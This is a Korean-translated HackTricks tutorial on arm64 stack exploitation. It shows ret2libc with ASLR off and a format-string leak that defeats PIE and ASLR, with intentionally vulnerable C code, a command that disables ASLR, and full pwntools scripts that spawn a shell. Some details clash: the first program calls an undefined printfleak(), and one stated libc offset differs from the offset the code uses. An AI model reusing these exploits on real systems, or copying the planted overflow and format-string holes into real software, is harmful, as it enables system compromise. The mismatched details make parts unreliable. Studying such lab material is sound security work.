Ret2lib + Printf leak - arm64

htARTE (HackTricks AWS Red Team 전문가)로부터 AWS 해킹을 제로부터 전문가까지 배우세요!

다른 HackTricks 지원 방법:

Ret2lib - NX 우회를 통한 ROP (ASLR 없음)

#include <stdio.h>

void bof()
{
char buf[100];
printf("\nbof>\n");
fgets(buf, sizeof(buf)*3, stdin);
}

void main()
{
printfleak();
bof();
}

캐너리 없이 컴파일하기:

clang -o rop-no-aslr rop-no-aslr.c -fno-stack-protector
# Disable aslr
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

오프셋 찾기

x30 오프셋

**pattern create 200**을 사용하여 패턴을 생성하고 해당 패턴을 사용하여 **pattern search $x30**으로 오프셋을 확인하면 오프셋이 108 (0x6c)임을 알 수 있습니다.

메인 함수를 확인하면 이진 파일이 로드된 위치로부터 **printf**로 직접 이동하는 명령어로 점프하고 싶어하는 것을 알 수 있습니다. **printf**까지의 오프셋은 **0x860**입니다.

system 및 /bin/sh 문자열 찾기

ASLR이 비활성화되어 있으므로 주소는 항상 동일합니다.

가젯 찾기

**x0**에 /bin/sh 문자열 주소를 가져와야 하며 **system**을 호출해야 합니다.

rooper를 사용하여 흥미로운 가젯을 찾았습니다:

0x000000000006bdf0: ldr x0, [sp, #0x18]; ldp x29, x30, [sp], #0x20; ret;

이 가젯은 $sp + 0x18에서 x0을 로드한 다음 sp에서 x29 및 x30 주소를 로드하여 x30으로 점프합니다. 따라서 이 가젯을 사용하여 첫 번째 인자를 제어한 다음 system으로 점프할 수 있습니다.

공격

from pwn import *
from time import sleep

p = process('./rop')  # For local binary
libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")
libc.address = 0x0000fffff7df0000
binsh = next(libc.search(b"/bin/sh")) #Verify with find /bin/sh
system = libc.sym["system"]

def expl_bof(payload):
p.recv()
p.sendline(payload)

# Ret2main
stack_offset = 108
ldr_x0_ret = p64(libc.address + 0x6bdf0) # ldr x0, [sp, #0x18]; ldp x29, x30, [sp], #0x20; ret;

x29 = b"AAAAAAAA"
x30 = p64(system)
fill = b"A" * (0x18 - 0x10)
x0 = p64(binsh)

payload = b"A"*stack_offset + ldr_x0_ret + x29 + x30 + fill + x0
p.sendline(payload)

p.interactive()
p.close()

Ret2lib - NX, ASL 및 PIE 우회 방법: 스택에서 printf 누출

#include <stdio.h>

void printfleak()
{
char buf[100];
printf("\nPrintf>\n");
fgets(buf, sizeof(buf), stdin);
printf(buf);
}

void bof()
{
char buf[100];
printf("\nbof>\n");
fgets(buf, sizeof(buf)*3, stdin);
}

void main()
{
printfleak();
bof();
}

캐너리 없이 컴파일하기:

clang -o rop rop.c -fno-stack-protector -Wno-format-security

PIE 및 ASLR이지만 캐너리는 없음

  • 라운드 1:

  • 스택에서 PIE 누출

  • main으로 돌아가기 위해 bof 악용

  • 라운드 2:

  • 스택에서 libc 누출

  • ROP: ret2system

Printf 누출

printf를 호출하기 전에 중단점을 설정하면 스택에 이진 파일로 돌아갈 주소와 libc 주소가 있는 것을 볼 수 있습니다:

다양한 오프셋을 시도하면 **%21$p**가 이진 주소를 누출할 수 있습니다 (PIE 우회) 그리고 **%25$p**가 libc 주소를 누출할 수 있습니다:

libc 누출된 주소에서 libc의 베이스 주소를 뺀 후, 누출된 주소의 오프셋은 0x49c40임을 확인할 수 있습니다.

x30 오프셋

이전 예제와 동일한 bof를 사용하므로 참조하십시오.

가젯 찾기

이전 예제와 마찬가지로 **x0**에 문자열 **/bin/sh**의 주소를 넣고 **system**을 호출해야 합니다.

rooper를 사용하여 다른 흥미로운 가젯을 찾을 수 있었습니다:

0x0000000000049c40: ldr x0, [sp, #0x78]; ldp x29, x30, [sp], #0xc0; ret;

Exploit

이 가젯은 $sp + 0x78에서 x0을 로드한 다음 sp에서 x29 및 x30 주소를 로드하여 x30으로 점프합니다. 따라서이 가젯을 사용하여 첫 번째 인수를 제어한 다음 system으로 점프할 수 있습니다.

from pwn import *
from time import sleep

p = process('./rop')  # For local binary
libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")

def leak_printf(payload, is_main_addr=False):
p.sendlineafter(b">\n" ,payload)
response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
if is_main_addr:
response = response[:-4] + b"0000"
return int(response, 16)

def expl_bof(payload):
p.recv()
p.sendline(payload)

# Get main address
main_address = leak_printf(b"%21$p", True)
print(f"Bin address: {hex(main_address)}")

# Ret2main
stack_offset = 108
main_call_printf_offset = 0x860 #Offset inside main to call printfleak
print("Going back to " + str(hex(main_address + main_call_printf_offset)))
ret2main = b"A"*stack_offset + p64(main_address + main_call_printf_offset)
expl_bof(ret2main)

# libc
libc_base_address = leak_printf(b"%25$p") - 0x26dc4
libc.address = libc_base_address
print(f"Libc address: {hex(libc_base_address)}")
binsh = next(libc.search(b"/bin/sh"))
system = libc.sym["system"]

# ret2system
ldr_x0_ret = p64(libc.address + 0x49c40) # ldr x0, [sp, #0x78]; ldp x29, x30, [sp], #0xc0; ret;

x29 = b"AAAAAAAA"
x30 = p64(system)
fill = b"A" * (0x78 - 0x10)
x0 = p64(binsh)

payload = b"A"*stack_offset + ldr_x0_ret + x29 + x30 + fill + x0
p.sendline(payload)

p.interactive()
영웨이에스 해킹을 제로부터 전문가까지 배우세요 htARTE (HackTricks AWS Red Team Expert)!

다른 방법으로 HackTricks를 지원하는 방법:

Last updated